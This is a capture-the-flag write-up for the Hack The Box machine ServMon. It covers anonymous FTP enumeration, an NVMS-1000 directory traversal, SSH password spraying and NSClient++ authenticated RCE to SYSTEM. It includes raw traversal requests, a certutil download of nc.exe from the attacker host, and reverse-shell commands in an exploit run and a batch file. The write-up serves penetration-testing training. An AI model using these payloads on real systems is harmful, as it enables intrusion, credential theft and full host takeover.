Byte JMP
ServMon: NVMS-1000 Directory Traversal to NSClient++ RCE

ServMon: NVMS-1000 Directory Traversal to NSClient++ RCE

Hack The Box write-up for the ServMon machine. Anonymous FTP exposes internal notes pointing to a password file on a user's desktop, a directory traversal in NVMS-1000 reads the file remotely, password spraying lands SSH as Nadine, and authenticated RCE against NSClient++ through an SSH tunnel escalates to SYSTEM.

·11 min read

Initial Reconnaissance – Port Scanning

The assessment started with a service version scan against 10.129.227.77, host discovery disabled (-Pn):

$ nmap -sV -Pn -T4 10.129.227.77
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-11 22:02 -0300
Nmap scan report for 10.129.227.77
Host is up (0.14s latency).
Not shown: 991 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
22/tcp   open  ssh           OpenSSH for_Windows_8.0 (protocol 2.0)
80/tcp   open  http
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
5666/tcp open  tcpwrapped
6699/tcp open  napster?
8443/tcp open  ssl/https-alt

A Windows box with a notable spread of services. FTP (21) and SSH (22) suggest direct access paths. HTTP on port 80 is a web application worth investigating. SMB (139/445) could expose shares or allow enumeration. Port 8443 running SSL/HTTPS is typically NSClient++, a Windows monitoring agent with a web interface. Ports 5666 and 6699 are less interesting for now.

Enumeration

21/tcp – Anonymous FTP

FTP allowed anonymous access and exposed a Users directory containing two subdirectories: Nadine and Nathan.

$ ftp 10.129.227.77
Connected to 10.129.227.77.
220 Microsoft FTP Service
Name (10.129.227.77:bytejmp): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
02-28-22  07:35PM       <DIR>          Users
ftp> cd Users
250 CWD command successful.
ftp> ls
02-28-22  07:36PM       <DIR>          Nadine
02-28-22  07:37PM       <DIR>          Nathan

Nadine's directory contained a file called Confidential.txt:

ftp> cd Nadine
ftp> get Confidential.txt
Nathan,

I left your Passwords.txt file on your Desktop.  Please remove this once you have edited it yourself and place it back into the secure folder.

Regards

Nadine

Nathan's directory had a Notes to do.txt:

ftp> cd Nathan
ftp> get "Notes to do.txt"
1) Change the password for NVMS - Complete
2) Lock down the NSClient Access - Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePoint

Two important pieces of information from these files. The confidential note confirms a Passwords.txt file sitting on Nathan's Desktop. The to-do list references two applications: NVMS (a network video management system) and NSClient++ (a monitoring agent). The note says NSClient access was locked down and the NVMS password was changed, but items 3 through 5 were not completed, meaning the passwords file was never moved and public access to NVMS was never removed.

445/tcp – SMB

SMB enumeration was attempted with null, guest, and known user sessions. None produced useful results:

$ nxc smb 10.129.227.77 -u '' -p '' --shares
SMB         10.129.227.77   445    SERVMON          [*] Windows 10 / Server 2019 Build 17763 x64 (name:SERVMON) (domain:ServMon) (signing:False) (SMBv1:None)
SMB         10.129.227.77   445    SERVMON          [-] ServMon\: STATUS_ACCESS_DENIED
$ nxc smb 10.129.227.77 -u 'guest' -p '' --shares
SMB         10.129.227.77   445    SERVMON          [-] ServMon\guest: STATUS_ACCOUNT_DISABLED

The guest account was disabled and null sessions were denied. Quick tests with Nadine using empty and matching passwords also failed. SMB was a dead end on this box.

80/tcp – NVMS-1000

Port 80 served the login page for NVMS-1000, a network video surveillance management application by TVT:

NVMS-1000 login page

The application is known to be vulnerable. A searchsploit lookup confirmed a directory traversal vulnerability:

$ searchsploit "NVMS 1000"
 Exploit Title                                  |  Path
 NVMS 1000 - Directory Traversal                | hardware/webapps/47774.txt
 TVT NVMS 1000 - Directory Traversal            | hardware/webapps/48311.py

This is CVE-2019-20085, an unauthenticated directory traversal in TVT NVMS-1000. The web server fails to sanitize ../ sequences in the URL path, allowing arbitrary file reads from the underlying Windows filesystem.

8443/tcp – NSClient++

Port 8443 hosted the web interface for NSClient++. Accessing it directly from outside showed the interface but was restricted by the allowed hosts configuration (confirmed later). A searchsploit query returned two relevant results:

$ searchsploit "NSClient++"
 Exploit Title                                                  |  Path
 NSClient++ 0.5.2.35 - Authenticated Remote Code Execution      | json/webapps/48360.txt
 NSClient++ 0.5.2.35 - Privilege Escalation                     | windows/local/46802.txt

Both exploits target version 0.5.2.35 and require authentication plus local access. This information becomes relevant after gaining a foothold.

NVMS-1000 – Directory Traversal (CVE-2019-20085)

Following the PoC from Exploit-DB 47774, the vulnerability was first validated by reading win.ini:

GET /../../../../../../../../../../../../windows/win.ini HTTP/1.1
Host: 10.129.227.77
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
HTTP/1.1 200 OK
Content-type:
Content-Length: 92
Connection: close
AuthInfo:

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

The traversal works. With that confirmed, the next step was reading the Passwords.txt file that Nadine's note mentioned on Nathan's Desktop:

GET /../../../../../../../../../../../../Users/Nathan/Desktop/Passwords.txt HTTP/1.1
Host: 10.129.227.77
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
HTTP/1.1 200 OK
Content-type: text/plain
Content-Length: 156
Connection: close
AuthInfo:

1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$

Seven passwords, no indication of which user they belong to. Time to spray.

Password Spraying – SSH

With two known usernames from the FTP share (Nadine and Nathan) and the password list from the traversal, a credential spray was run against SMB:

$ nxc smb 10.129.227.77 -u users.txt -p pass.txt --continue-on-success
SMB         10.129.227.77   445    SERVMON          [-] ServMon\Nathan:1nsp3ctTh3Way2Mars! STATUS_LOGON_FAILURE
SMB         10.129.227.77   445    SERVMON          [-] ServMon\Nadine:1nsp3ctTh3Way2Mars! STATUS_LOGON_FAILURE
SMB         10.129.227.77   445    SERVMON          [-] ServMon\Nathan:Th3r34r3To0M4nyTrait0r5! STATUS_LOGON_FAILURE
SMB         10.129.227.77   445    SERVMON          [-] ServMon\Nadine:Th3r34r3To0M4nyTrait0r5! STATUS_LOGON_FAILURE
SMB         10.129.227.77   445    SERVMON          [-] ServMon\Nathan:B3WithM30r4ga1n5tMe STATUS_LOGON_FAILURE
SMB         10.129.227.77   445    SERVMON          [-] ServMon\Nadine:B3WithM30r4ga1n5tMe STATUS_LOGON_FAILURE
SMB         10.129.227.77   445    SERVMON          [-] ServMon\Nathan:L1k3B1gBut7s@W0rk STATUS_LOGON_FAILURE
SMB         10.129.227.77   445    SERVMON          [+] ServMon\Nadine:L1k3B1gBut7s@W0rk
SMB         10.129.227.77   445    SERVMON          [-] ServMon\Nathan:0nly7h3y0unGWi11F0l10w STATUS_LOGON_FAILURE
SMB         10.129.227.77   445    SERVMON          [-] ServMon\Nathan:IfH3s4b0Utg0t0H1sH0me STATUS_LOGON_FAILURE
SMB         10.129.227.77   445    SERVMON          [-] ServMon\Nathan:Gr4etN3w5w17hMySk1Pa5$ STATUS_LOGON_FAILURE

One hit: Nadine:L1k3B1gBut7s@W0rk. None of the passwords worked for Nathan.

Initial Access – SSH (Nadine)

With valid credentials and SSH open on port 22, the foothold was straightforward:

$ ssh [email protected]
[email protected]'s password:

Microsoft Windows [Version 10.0.17763.864]
(c) 2018 Microsoft Corporation. All rights reserved.

nadine@SERVMON C:\Users\Nadine>

User Flag

PS C:\Users\Nadine\Desktop> cat user.txt
cf8a46edbb2390d81fa27ade207db153

Local Enumeration

Checking privileges and group memberships, Nadine is a standard low-privilege user with no interesting tokens:

PS C:\Users> whoami /all

USER INFORMATION
----------------
User Name      SID
============== =============================================
servmon\nadine S-1-5-21-3217154428-562821044-1828981534-1001

GROUP INFORMATION
-----------------
Group Name                             Type             SID          Attributes
====================================== ================ ============ ==================================================
Everyone                               Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                          Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label            S-1-16-8192

PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                    State
============================= ============================== =======
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

No SeImpersonate, no group memberships to abuse. The escalation path goes through the NSClient++ service running on port 8443.

Privilege Escalation – NSClient++ Authenticated RCE

Note: The NSClient++ exploitation process is fragile and frequently crashes the service or the entire box, requiring a machine reset. This is a well known pain point with ServMon. Multiple community reports confirm that the reload step can hang or break NSClient++, forcing you to restart and try again. Patience and resets are part of the process on this one.

Reading the NSClient++ Configuration

NSClient++ stores its configuration in nsclient.ini. Nadine can read this file from the installation directory:

PS C:\Program Files\NSClient++> cat nsclient.ini
# If you want to fill this file with all available options run the following command:
#   nscp settings --generate --add-defaults --load-all
# If you want to activate a module and bring in all its options use:
#   nscp settings --activate-module <MODULE NAME> --add-defaults
# For details run: nscp settings --help


; in flight - TODO
[/settings/default]

; Undocumented key
password = ew2x6SsGTxjRwXOT

; Undocumented key
allowed hosts = 127.0.0.1

Two critical details here. The administrative password is ew2x6SsGTxjRwXOT, and the allowed hosts is restricted to 127.0.0.1. This explains why the web interface on port 8443 was accessible externally but would reject connections from any host other than localhost. The exploit requires accessing the API locally.

Confirming the version:

PS C:\Program Files\NSClient++> .\nscp.exe --version
NSClient++, Version: 0.5.2.35 2018-01-28, Platform: x64

Version 0.5.2.35 matches both exploits found earlier. The authenticated RCE (EDB-48360) works by injecting an external script through the NSClient++ API, saving the configuration, reloading the service, and then triggering the script. Since NSClient++ runs as NT AUTHORITY\SYSTEM, any executed command runs with full privileges.

SSH Port Forwarding

Since the web interface only accepts connections from 127.0.0.1, an SSH tunnel is needed to forward port 8443 from the target to the attack machine:

$ ssh -L 8443:127.0.0.1:8443 [email protected]

After the tunnel is established, the NSClient++ login page becomes accessible at https://127.0.0.1:8443:

NSClient++ login page via SSH tunnel

Authenticating with the password ew2x6SsGTxjRwXOT grants full access to the dashboard:

NSClient++ dashboard after login

Staging the Payload

Before running the exploit, nc.exe was uploaded to the target using certutil:

PS C:\> mkdir temp

    Directory: C:\

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        9/11/2026   7:13 PM                temp

PS C:\temp> certutil -urlcache -f http://10.10.15.33/nc.exe nc.exe
****  Online  ****
CertUtil: -URLCache command completed successfully.

PS C:\temp> ls

    Directory: C:\temp

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        9/11/2026   7:15 PM          59392 nc.exe

Exploitation via Python Script

The public exploit (EDB-48360) automates the full chain: authenticate, enable the ExternalScripts module, register a command, save, reload, and trigger. The script was pointed at 127.0.0.1:8443 through the SSH tunnel:

$ python3 code.py -t 127.0.0.1 -P 8443 -p 'ew2x6SsGTxjRwXOT' -c "C:\temp\nc.exe 10.10.15.33 9000 -e powershell.exe"
[!] Targeting base URL https://127.0.0.1:8443
[!] Obtaining Authentication Token . . .
[+] Got auth token: frAQBc8Wsa1xVPfvJcrgRYwTiizs2trQ
[!] Enabling External Scripts Module . . .
[!] Configuring Script with Specified Payload . . .
[+] Added External Script (name: OGPkzgcOYtZgY)
[!] Saving Configuration . . .
[!] Reloading Application . . .
[!] Waiting for Application to reload . . .
[!] Obtaining Authentication Token . . .
[+] Got auth token: frAQBc8Wsa1xVPfvJcrgRYwTiizs2trQ
[!] Triggering payload, should execute shortly . . .
[!] Timeout exceeded. Assuming your payload executed . . .

The listener caught the reverse shell:

$ nc -lnvp 9000
listening on [any] 9000 ...
connect to [10.10.15.33] from (UNKNOWN) [10.129.61.12] 49692
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Program Files\NSClient++> whoami
nt authority\system

Root Flag

PS C:\Users\Administrator\Desktop> dir

    Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        9/11/2026   7:25 PM             34 root.txt

PS C:\Users\Administrator\Desktop> cat root.txt
a950a1847de8ea6ee4322c0965854fd7

Full SYSTEM access.

Manual Exploitation – NSClient++ Web Interface

The same result can be achieved manually through the NSClient++ web interface, without relying on the Python exploit script. This approach is useful when the automated exploit is unreliable or when understanding the underlying mechanism is the goal.

The process follows the steps documented in EDB-46802: register a script as an external command, create a scheduled task to execute it, save the configuration, and reload the service.

Creating the Payload Script

A batch file with the reverse shell command was uploaded to the target:

$ cat rev.bat
\temp\nc.exe 10.10.15.33 9000 -e powershell
PS C:\temp> ls

    Directory: C:\temp

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        9/11/2026   7:27 PM          59392 nc.exe
-a----        9/11/2026   7:34 PM             44 rev.bat

Configuring NSClient++ via the Web Interface

Through the NSClient++ Settings page (accessible via the SSH tunnel at https://127.0.0.1:8443), the following entries were added under the Add new tab:

1. Register the script as an external command:

FieldValue
Section/settings/external scripts/scripts/aa
Keycommand
ValueC:\\temp\\rev.bat

Adding external script

2. Create a scheduler entry with a 10 second interval:

FieldValue
Section/settings/scheduler/schedules/aa_time
Keyinterval
Value10s

Adding scheduler interval

3. Link the scheduler to the external script:

FieldValue
Section/settings/scheduler/schedules/aa_time
Keycommand
Valueaa

Adding scheduler command

After adding all three entries, the Changed tab showed the pending modifications:

Changed settings

Clicking Save persisted the configuration, and then Control → Reload applied the changes:

Reload option

After the service reloaded, the scheduler executed the aa command every 10 seconds, which ran rev.bat, triggering the reverse shell:

$ nc -lnvp 9000
listening on [any] 9000 ...
connect to [10.10.15.33] from (UNKNOWN) [10.129.61.12] 49692
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Program Files\NSClient++> whoami
nt authority\system

Same result: NT AUTHORITY\SYSTEM.

References

  1. CVE-2019-20085: NVMS-1000 Directory Traversal — Unauthenticated path traversal in TVT NVMS-1000 used to read Passwords.txt from Nathan's desktop.
  2. EDB-48360: NSClient++ 0.5.2.35 Authenticated RCE — Python exploit that automates external script injection, configuration save, service reload, and payload trigger through the NSClient++ API.
  3. EDB-46802: NSClient++ 0.5.2.35 Privilege Escalation — Manual exploitation steps for registering and scheduling scripts through the NSClient++ web interface.
  4. NetExec — Used for SMB enumeration and credential spraying.